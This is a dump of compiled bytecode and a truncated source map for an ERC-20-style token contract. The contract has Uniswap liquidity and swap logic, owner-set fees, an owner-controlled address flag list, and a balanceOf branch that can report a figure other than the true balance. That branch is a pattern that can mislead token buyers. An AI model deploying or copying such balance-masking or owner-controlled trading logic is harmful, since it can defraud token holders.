3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b610eb1611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f35906132fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600081905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b815260040161103c919061312c565b602060405180830381865afa158015611059573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107d9190613615565b90508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b81526004016110dc929190613642565b6020604051808303816000875af11580156110fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111f9190613680565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b805461115d9061327d565b80601f01602080910402602001604051908101604052809291908181526020018280546111899061327d565b80156111d65780601f106111ab576101008083540402835291602001916111d6565b820191906000526020600020905b8154815290600101906020018083116111b957829003601f168201915b5050505050905090565b601260149054906101000a900460ff1681565b60006112b6611200611c63565b846112b185604051806060016040528060258152602001613ec5602591396008600061122a611c63565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126f39092919063ffffffff16565b611c6b565b6001905092915050565b6112c8611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c906132fa565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b600061138661137f611c63565b8484611e34565b6001905092915050565b611398611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611425576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141c906132fa565b60405180910390fd5b80600f8190555050565b611437611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bb906132fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c9061371f565b60405180910390fd5b61158430600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d54611c6b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115f1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611615919061335e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561169e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116c2919061335e565b6040518363ffffffff1660e01b81526004016116df92919061373f565b6020604051808303816000875af11580156116fe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611722919061335e565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117ab30610d1c565b6000806117b6611125565b426040518863ffffffff1660e01b81526004016117d8969594939291906137a3565b60606040518083038185885af11580156117f6573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061181b9190613804565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118bd929190613642565b6020604051808303816000875af11580156118dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119009190613680565b50565b61190b611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198f906132fa565b60405180910390fd5b81601081905550806011819055505050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000479050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611a9e573d6000803e3d6000fd5b5050565b611aaa611c63565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2e906132fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ba6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9d906138c9565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd19061395b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d40906139ed565b60405180910390fd5b80600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611e279190612f5e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9a90613a7f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611f12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0990613b11565b60405180910390fd5b60008111611f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4c90613ba3565b60405180910390fd5b600080600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ffc5750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561203b575061200b611125565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561207a575061204a611125565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b90506000839050612089611125565b73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156120f757506120c7611125565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561212f57503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614155b801561216757503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156124af5781156124ae5761219a606461218c60105484612b9490919063ffffffff16565b612c0e90919063ffffffff16565b9250600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161480156122055750601260149054906101000a900460ff165b156122f75761225c81600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275790919063ffffffff16565b600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122b3600a4261275790919063ffffffff16565b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141580156123a25750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b156124ad57600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484111561243157600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b612459606461244b60115484612b9490919063ffffffff16565b612c0e90919063ffffffff16565b9250600061246630610d1c565b905060008111156124ab57600061247b610a1f565b905080821015801561249a5750600e60009054906101000a900460ff16155b156124a9576124a881612860565b5b505b505b5b5b60006124c48483612c5890919063ffffffff16565b905061251882600560008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c5890919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125ad81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275790919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061264284600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461275790919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040516126e29190612f5e565b60405180910390a350505050505050565b600083831115829061273b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127329190612d95565b60405180910390fd5b506000838561274a9190613bf2565b9050809150509392505050565b60008082846127669190613c26565b9050838110156127ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127a290613ca6565b60405180910390fd5b8091505092915050565b60005b8383905081101561285a5760008484838181106127d8576127d761338b565b5b90506020020160208101906127ed9190613147565b905082600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050808061285290613cc6565b9150506127b8565b50505050565b6000600267ffffffffffffffff81111561287d5761287c61331a565b5b6040519080825280602002602001820160405280156128ab5781602001602082028036833780820191505090505b50905030816000815181106128c3576128c261338b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561296a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298e919061335e565b816001815181106129a2576129a161338b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a0930600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611c6b565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612a6d959493929190613d0e565b600060405180830381600087803b158015612a8757600080fd5b505af1158015612a9b573d6000803e3d6000fd5b5050505060004790506000612aba600283612c0e90919063ffffffff16565b9050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b24573d6000803e3d6000fd5b50600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612b8d573d6000803e3d6000fd5b5050505050565b6000808303612ba65760009050612c08565b60008284612bb49190613d68565b9050828482612bc39190613dd9565b14612c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bfa90613e7c565b60405180910390fd5b809150505b92915050565b6000612c5083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612ca2565b905092915050565b6000612c9a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126f3565b905092915050565b60008083118290612ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ce09190612d95565b60405180910390fd5b5060008385612cf89190613dd9565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612d3f578082015181840152602081019050612d24565b60008484015250505050565b6000601f19601f8301169050919050565b6000612d6782612d05565b612d718185612d10565b9350612d81818560208601612d21565b612d8a81612d4b565b840191505092915050565b60006020820190508181036000830152612daf8184612d5c565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612df682612dcb565b9050919050565b612e0681612deb565b8114612e1157600080fd5b50565b600081359050612e2381612dfd565b92915050565b6000819050919050565b612e3c81612e29565b8114612e4757600080fd5b50565b600081359050612e5981612e33565b92915050565b60008060408385031215612e7657612e75612dc1565b5b6000612e8485828601612e14565b9250506020612e9585828601612e4a565b9150509250929050565b60008115159050919050565b612eb481612e9f565b82525050565b6000602082019050612ecf6000830184612eab565b92915050565b6000819050919050565b6000612efa612ef5612ef084612dcb565b612ed5565b612dcb565b9050919050565b6000612f0c82612edf565b9050919050565b6000612f1e82612f01565b9050919050565b612f2e81612f13565b82525050565b6000602082019050612f496000830184612f25565b92915050565b612f5881612e29565b82525050565b6000602082019050612f736000830184612f4f565b92915050565b6000604082019050612f8e6000830185612f4f565b612f9b6020830184612f4f565b9392505050565b600080600060608486031215612fbb57612fba612dc1565b5b6000612fc986828701612e14565b9350506020612fda86828701612e14565b9250506040612feb86828701612e4a565b9150509250925092565b600060ff82169050919050565b61300b81612ff5565b82525050565b60006020820190506130266000830184613002565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126130515761305061302c565b5b8235905067ffffffffffffffff81111561306e5761306d613031565b5b60208301915083602082028301111561308a57613089613036565b5b9250929050565b61309a81612e9f565b81146130a557600080fd5b50565b6000813590506130b781613091565b92915050565b6000806000604084860312156130d6576130d5612dc1565b5b600084013567ffffffffffffffff8111156130f4576130f3612dc6565b5b6131008682870161303b565b93509350506020613113868287016130a8565b9150509250925092565b61312681612deb565b82525050565b6000602082019050613141600083018461311d565b92915050565b60006020828403121561315d5761315c612dc1565b5b600061316b84828501612e14565b91505092915050565b60006020828403121561318a57613189612dc1565b5b6000613198848285016130a8565b91505092915050565b6000602082840312156131b7576131b6612dc1565b5b60006131c584828501612e4a565b91505092915050565b600080604083850312156131e5576131e4612dc1565b5b60006131f385828601612e4a565b925050602061320485828601612e4a565b9150509250929050565b6000806040838503121561322557613224612dc1565b5b600061323385828601612e14565b925050602061324485828601612e14565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061329557607f821691505b6020821081036132a8576132a761324e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132e4602083612d10565b91506132ef826132ae565b602082019050919050565b60006020820190508181036000830152613313816132d7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008151905061335881612dfd565b92915050565b60006020828403121561337457613373612dc1565b5b600061338284828501613349565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6133ef81612deb565b82525050565b600061340183836133e6565b60208301905092915050565b6000602082019050919050565b6000613425826133ba565b61342f81856133c5565b935061343a836133d6565b8060005b8381101561346b57815161345288826133f5565b975061345d8361340d565b92505060018101905061343e565b5085935050505092915050565b600060408201905061348d6000830185612f4f565b818103602083015261349f818461341a565b90509392505050565b6134b182612d4b565b810181811067ffffffffffffffff821117156134d0576134cf61331a565b5b80604052505050565b60006134e3612db7565b90506134ef82826134a8565b919050565b600067ffffffffffffffff82111561350f5761350e61331a565b5b602082029050602081019050919050565b60008151905061352f81612e33565b92915050565b6000613548613543846134f4565b6134d9565b9050808382526020820190506020840283018581111561356b5761356a613036565b5b835b8181101561359457806135808882613520565b84526020840193505060208101905061356d565b5050509392505050565b600082601f8301126135b3576135b261302c565b5b81516135c3848260208601613535565b91505092915050565b6000602082840312156135e2576135e1612dc1565b5b600082015167ffffffffffffffff811115613600576135ff612dc6565b5b61360c8482850161359e565b91505092915050565b60006020828403121561362b5761362a612dc1565b5b600061363984828501613520565b91505092915050565b6000604082019050613657600083018561311d565b6136646020830184612f4f565b9392505050565b60008151905061367a81613091565b92915050565b60006020828403121561369657613695612dc1565b5b60006136a48482850161366b565b91505092915050565b7f556e69737761705632506169722068617320616c7265616479206265656e207360008201527f6574000000000000000000000000000000000000000000000000000000000000602082015250565b6000613709602283612d10565b9150613714826136ad565b604082019050919050565b60006020820190508181036000830152613738816136fc565b9050919050565b6000604082019050613754600083018561311d565b613761602083018461311d565b9392505050565b6000819050919050565b600061378d61378861378384613768565b612ed5565b612e29565b9050919050565b61379d81613772565b82525050565b600060c0820190506137b8600083018961311d565b6137c56020830188612f4f565b6137d26040830187613794565b6137df6060830186613794565b6137ec608083018561311d565b6137f960a0830184612f4f565b979650505050505050565b60008060006060848603121561381d5761381c612dc1565b5b600061382b86828701613520565b935050602061383c86828701613520565b925050604061384d86828701613520565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006138b3602683612d10565b91506138be82613857565b604082019050919050565b600060208201905081810360008301526138e2816138a6565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613945602483612d10565b9150613950826138e9565b604082019050919050565b6000602082019050818103600083015261397481613938565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006139d7602283612d10565b91506139e28261397b565b604082019050919050565b60006020820190508181036000830152613a06816139ca565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613a69602583612d10565b9150613a7482613a0d565b604082019050919050565b60006020820190508181036000830152613a9881613a5c565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613afb602383612d10565b9150613b0682613a9f565b604082019050919050565b60006020820190508181036000830152613b2a81613aee565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613b8d602983612d10565b9150613b9882613b31565b604082019050919050565b60006020820190508181036000830152613bbc81613b80565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613bfd82612e29565b9150613c0883612e29565b9250828203905081811115613c2057613c1f613bc3565b5b92915050565b6000613c3182612e29565b9150613c3c83612e29565b9250828201905080821115613c5457613c53613bc3565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c90601b83612d10565b9150613c9b82613c5a565b602082019050919050565b60006020820190508181036000830152613cbf81613c83565b9050919050565b6000613cd182612e29565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613d0357613d02613bc3565b5b600182019050919050565b600060a082019050613d236000830188612f4f565b613d306020830187613794565b8181036040830152613d42818661341a565b9050613d51606083018561311d565b613d5e6080830184612f4f565b9695505050505050565b6000613d7382612e29565b9150613d7e83612e29565b9250828202613d8c81612e29565b91508282048414831517613da357613da2613bc3565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613de482612e29565b9150613def83612e29565b925082613dff57613dfe613daa565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613e66602183612d10565b9150613e7182613e0a565b604082019050919050565b60006020820190508181036000830152613e9581613e59565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220b6944156ab02b520f9db83f55ceb3862ec14b6a1f2d0dfec70e4c1400345eb5164736f6c63430008110033

Deployed Bytecode Sourcemap

8508:9342:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10080:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11205:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8745:106;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10357:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12322:98;;;;;;;;;;;;;:::i;:::-;;;;;;;;:::i;:::-;;;;;;;;11374:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10266:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11695:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12568:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17012:264;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8858:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16000:267;;;;;;;;;;;;;:::i;:::-;;13612:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9551:50;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10460:411;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6506:148;;;;;;;;;;;;;:::i;:::-;;17610:237;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6292:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10171:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9708:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11921:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12428:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10879:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17284:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12981:623;;;;;;;;;;;;;:::i;:::-;;12198:116;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11054:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17451:151;;;;;;;;;;;;;:::i;:::-;;6662:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10080:83;10117:13;10150:5;10143:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10080:83;:::o;11205:161::-;11280:4;11297:39;11306:12;:10;:12::i;:::-;11320:7;11329:6;11297:8;:39::i;:::-;11354:4;11347:11;;11205:161;;;;:::o;8745:106::-;;;;;;;;;;;;;:::o;10357:95::-;10410:7;10437;;10430:14;;10357:95;:::o;12322:98::-;12358:7;12367;12396:6;;12404:7;;12388:24;;;;12322:98;;:::o;11374:313::-;11472:4;11489:36;11499:6;11507:9;11518:6;11489:9;:36::i;:::-;11536:121;11545:6;11553:12;:10;:12::i;:::-;11567:89;11605:6;11567:89;;;;;;;;;;;;;;;;;:11;:19;11579:6;11567:19;;;;;;;;;;;;;;;:33;11587:12;:10;:12::i;:::-;11567:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;11536:8;:121::i;:::-;11675:4;11668:11;;11374:313;;;;;:::o;10266:83::-;10307:5;10332:9;;;;;;;;;;;10325:16;;10266:83;:::o;11695:218::-;11783:4;11800:83;11809:12;:10;:12::i;:::-;11823:7;11832:50;11871:10;11832:11;:25;11844:12;:10;:12::i;:::-;11832:25;;;;;;;;;;;;;;;:34;11858:7;11832:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;11800:8;:83::i;:::-;11901:4;11894:11;;11695:218;;;;:::o;12568:161::-;6429:12;:10;:12::i;:::-;6419:22;;:6;;;;;;;;;;:22;;;6411:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12680:41:::1;12693:9;;12704:16;12680:12;:41::i;:::-;12568:161:::0;;;:::o;17012:264::-;17058:7;17079:21;17117:1;17103:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17079:40;;17140:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17130:4;17135:1;17130:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;;;17191:4;17173;17178:1;17173:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;17214:15;;;;;;;;;;;:29;;;17244:14;;17260:4;17214:51;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17266:1;17214:54;;;;;;;;:::i;:::-;;;;;;;;17207:61;;;17012:264;:::o;8858:38::-;;;;;;;;;;;;;:::o;16000:267::-;16042:28;16073:24;16091:4;16073:9;:24::i;:::-;16042:55;;16135:1;16112:20;:24;16108:152;;;16158:16;;;;;;;;;;;16153:96;;16195:38;16212:20;16195:16;:38::i;:::-;16153:96;16108:152;16031:236;16000:267::o;13612:124::-;13677:4;13701:18;:27;13720:7;13701:27;;;;;;;;;;;;;;;;;;;;;;;;;13694:34;;13612:124;;;:::o;9551:50::-;;;;:::o;10460:411::-;10526:7;10549:22;;;;;;;;;;;10546:315;;;10602:10;;;;;;;;;;;10591:21;;:7;:21;;;:72;;;;10635:19;:28;10655:7;10635:28;;;;;;;;;;;;;;;;10616:15;:47;;10591:72;10588:204;;;10691:9;:18;10701:7;10691:18;;;;;;;;;;;;;;;;10684:25;;;;10588:204;10756:11;:20;10768:7;10756:20;;;;;;;;;;;;;;;;10749:27;;;;10546:315;10831:9;:18;10841:7;10831:18;;;;;;;;;;;;;;;;10824:25;;10460:411;;;;:::o;6506:148::-;6429:12;:10;:12::i;:::-;6419:22;;:6;;;;;;;;;;:22;;;6411:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;6613:1:::1;6576:40;;6597:6;::::0;::::1;;;;;;;;6576:40;;;;;;;;;;;;6644:1;6627:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;6506:148::o:0;17610:237::-;17683:17;17710:15;17683:43;;17737:15;17755:10;:20;;;17784:4;17755:35;;;;;;;;;;;;;;;:::